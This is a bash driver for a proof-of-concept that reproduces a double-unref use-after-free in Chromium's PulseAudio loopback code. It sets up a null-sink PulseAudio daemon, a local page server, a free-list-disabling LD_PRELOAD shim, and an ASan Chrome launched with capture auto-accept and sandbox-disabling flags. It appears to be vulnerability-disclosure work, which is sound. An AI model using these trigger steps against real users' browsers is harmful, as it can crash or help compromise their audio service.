#!/bin/bash
# Driver for the PulseAudio loopback double pa_operation_unref POC.
#
# Target: media/audio/pulse/pulse_util.cc
#   pulse::MuteAllSinksExcept() and pulse::UnmuteAllSinks() call
#   WaitForOperationCompletion(mainloop, op, context) -- which already
#   pa_operation_unref()s on every exit path -- and then unref `op` AGAIN.
#
# This script:
#   1. Starts a PulseAudio daemon with a null sink + null source
#      (so getDisplayMedia system-audio loopback and a getUserMedia mic stream
#      both have something to bind to without real audio hardware).
#   2. Serves poc.html.
#   3. Launches the ASan chrome at poc.html with:
#        --enable-features=PulseaudioLoopbackForScreenShare
#             gates kLoopbackWithMuteDeviceId on Linux; without it the picker
#             doesn't offer system audio.
#        --auto-accept-camera-and-microphone-capture
#             auto-accepts getUserMedia({audio:true}) so a real
#             PulseAudioInputStream starts on input_mainloop_; its ReadData()
#             periodically pa_threaded_mainloop_signal()s, which is the only
#             thing that lets WaitForOperationCompletion() return inside
#             pulse::MuteAllSinksExcept() (whose own callback never signals).
#        --auto-select-screen-capture-source
#        --system-audio-capture-default_checked
#             together these auto-accept the desktop-media picker for
#             getDisplayMedia with the "Also share system audio" toggle ON,
#             so the browser maps audio:{suppressLocalAudioPlayback:true} to
#             AudioDeviceDescription::kLoopbackWithMuteDeviceId.
#        --disable-blink-features=GetDisplayMediaRequiresUserActivation
#             skips the renderer-side transient-activation precondition
#             so the page can call getDisplayMedia() from script. In the wild
#             this is just one click on the page; the picker auto-accept above
#             stands in for the user's choice in the picker dialog.
#        LD_PRELOAD=noflist.so
#             disables libpulse's internal pa_flist slot cache so the freed
#             pa_operation actually goes back to the heap and ASan can see the
#             second unref as a heap-use-after-free. This is instrumentation
#             only -- the over-unref happens with or without it; without it the
#             stock Debian libpulse aborts on its `PA_REFCNT_VALUE(o) >= 1`
#             assertion (pa_operation_unref) and a release libpulse silently
#             pushes the slot onto the flist twice, aliasing two future
#             pa_operations onto the same storage.
#
# Expected result: ASan heap-use-after-free in the audio-service utility
# process, free stack and use stack both rooted in
# media::pulse::MuteAllSinksExcept (or, on Close(), media::pulse::UnmuteAllSinks).

set -euo pipefail

HERE=$(cd "$(dirname "$0")" && pwd)
CHROME=${CHROME:-/chromium/chromium/src/out/asan/chrome}
PORT=${PORT:-8080}
PROFILE=/tmp/chrome-poc-profile
PA_ROOT=${PA_ROOT:-/tmp/pulse-pkg/root}

OUT=${OUT:-/tmp/chrome-poc.log}
: > "$OUT"

# ---------------------------------------------------------------------------
# Build the LD_PRELOAD shim if needed.
[ -f "$HERE/noflist.so" ] || cc -shared -fPIC -O2 -g -o "$HERE/noflist.so" "$HERE/noflist.c" -ldl

# ---------------------------------------------------------------------------
# Start a PulseAudio daemon with a null sink + null source.
PA_CFG=/tmp/poc-default.pa
cat > "$PA_CFG" <<'EOF'
load-module module-native-protocol-unix
load-module module-null-sink sink_name=null_sink sink_properties=device.description=NullSink
load-module module-null-source source_name=null_source description=NullSource
load-module module-always-sink
set-default-sink null_sink
set-default-source null_source
EOF

export PULSE_RUNTIME_PATH=/tmp/pulse-runtime
export PULSE_STATE_PATH=/tmp/pulse-state
rm -rf "$PULSE_RUNTIME_PATH" "$PULSE_STATE_PATH"
mkdir -p "$PULSE_RUNTIME_PATH" "$PULSE_STATE_PATH"

PA_LD="$PA_ROOT/usr/lib/pulse-16.1+dfsg1/modules:$PA_ROOT/usr/lib/x86_64-linux-gnu/pulseaudio:$PA_ROOT/usr/lib/x86_64-linux-gnu:$PA_ROOT/lib/x86_64-linux-gnu"
LD_LIBRARY_PATH="$PA_LD:${LD_LIBRARY_PATH:-}" \
  "$PA_ROOT/usr/bin/pulseaudio" \
    --exit-idle-time=-1 --disable-shm=true \
    -n -F "$PA_CFG" \
    --dl-search-path="$PA_ROOT/usr/lib/pulse-16.1+dfsg1/modules" \
    --daemonize=no --log-target=stderr -v 2>/tmp/pulse.log &
PA_PID=$!
trap 'kill $PA_PID $HTTP_PID 2>/dev/null || true' EXIT
sleep 2
if ! kill -0 "$PA_PID" 2>/dev/null; then
  echo "pulseaudio failed to start"; cat /tmp/pulse.log; exit 1
fi
# Chrome's libpulse client looks here:
export PULSE_SERVER="unix:$PULSE_RUNTIME_PATH/native"
# Don't let any inherited Chrome-Remote-Desktop pulse settings interfere.
unset PULSE_SINK PULSE_SOURCE

# ---------------------------------------------------------------------------
# Serve the POC.
python3 "$HERE/server.py" "$PORT" &
HTTP_PID=$!
sleep 1

# ---------------------------------------------------------------------------
# Launch chrome.
rm -rf "$PROFILE"
echo "[run-poc] launching $CHROME, logging to $OUT" >&2

# ASan options: keep going after the first error so we collect all three
# instances (MakeLoopbackStream / Open / Close), and symbolize.
export ASAN_OPTIONS="${ASAN_OPTIONS:-}:halt_on_error=0:detect_odr_violation=0:handle_abort=1:symbolize=1"
export ASAN_SYMBOLIZER_PATH=${ASAN_SYMBOLIZER_PATH:-/chromium/chromium/src/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer}

# noflist.so makes the over-unref visible to ASan; it doesn't change what
# pulse_util.cc does. The audio-service utility process inherits LD_PRELOAD
# (it runs with sandbox::policy::Sandbox::kNoSandbox on Linux).
if [ "${NOFLIST:-1}" = "1" ]; then
  export LD_PRELOAD="$HERE/noflist.so${LD_PRELOAD:+:$LD_PRELOAD}"
fi

set -x
timeout 60 "$CHROME" \
  --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --user-data-dir="$PROFILE" \
  --disable-gpu \
  --no-sandbox \
  --enable-logging=stderr --v=1 \
  --enable-features=PulseaudioLoopbackForScreenShare \
  --disable-features=WebRtcPipeWireCapturer \
  --disable-blink-features=GetDisplayMediaRequiresUserActivation \
  --auto-accept-camera-and-microphone-capture \
  --auto-select-screen-capture-source \
  --system-audio-capture-default_checked \
  "http://127.0.0.1:$PORT/poc.html" \
  > "$OUT" 2>&1 || true
set +x

echo
echo "=== ASan / abort report ==="
awk '/ERROR: AddressSanitizer/,/==ABORTING/' "$OUT" | grep -vE '^\[[0-9]+:[0-9]+:' || true
grep -E "Assertion '.*_ref.*' failed" "$OUT" || true
